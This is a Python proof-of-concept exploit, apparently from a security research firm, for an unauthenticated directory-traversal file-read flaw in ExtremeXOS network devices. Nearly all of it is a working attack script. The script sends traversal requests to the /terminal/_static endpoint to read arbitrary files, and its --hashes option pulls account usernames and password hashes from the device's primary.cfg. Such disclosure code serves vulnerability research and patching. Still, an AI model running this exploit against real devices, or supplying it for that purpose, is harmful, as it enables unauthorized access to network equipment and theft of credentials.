"""
Author: Dave Yesland @daveysec with Rhino Security Labs

This exploits an unauthenticated file read vulnerability in ExtremeXOS tested
on version 32.1.1.6. The vulnerability is in the /terminal/_static endpoint.
The endpoint takes a filename parameter and reads the file from the device.
The filename parameter is not sanitized and allows for directory traversal.

The device uses a primary.cfg file to store the configuration.
This file contains the user hashes for the device Using the --hashes flag will
print the user hashes from the device.

Older hashes are stored as MD5Crypt.
newer hashes are stored as SHA-256.
"""

import requests
import argparse
from xml.etree import ElementTree as ET

parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", help="File to read")
parser.add_argument("-t", "--target", help="EXOS Target (http://<ip>)", required=True)
parser.add_argument("-o", "--output", help="Output file to write contents to")
parser.add_argument(
    "--hashes", help="Just get the user hashes from the device", action="store_true"
)
args = parser.parse_args()

file_to_read = args.file
target = args.target
output = args.output

TRAVERSAL_SEQUENCE = "../../../../../.."
MAIN_CONFIG_FILE = "/config/primary.cfg"


def read_file(file_path):
    """
    read the file from the device
    """
    r = requests.get(
        f"{target}/terminal/_static?filename={TRAVERSAL_SEQUENCE}{file_path}"
    )
    return r


def get_hashes(xml):
    """
    parse the primary.cfg file and get the user hashes
    """
    root = ET.fromstring(xml)
    accounts = root.findall("xos-module-aaa/account")
    for account in accounts:
        username = account.find("name").text
        password_hash = account.find("password").text
        print(f"{username}:{password_hash}")


# If no file is specified or --hashes, use the default
if not file_to_read or args.hashes:
    file_to_read = f"{MAIN_CONFIG_FILE}"

# If hashes just print the users and hashes from primary.cfg and exit
if args.hashes:
    print("[+] Attempting to get user hashes from primary.cfg...")
    get_hashes(read_file(file_to_read).content)
    exit()
# If output is specified, write the file to disk
if output:
    with open(output, "wb") as f:
        print(f"[+] Attempting to read {file_to_read}...")
        f.write(read_file(file_to_read).content)
        print(f"[+] File {file_to_read} saved to {output}")
# If no output is specified, print the file contents to the screen
else:
    print(read_file(file_to_read).text)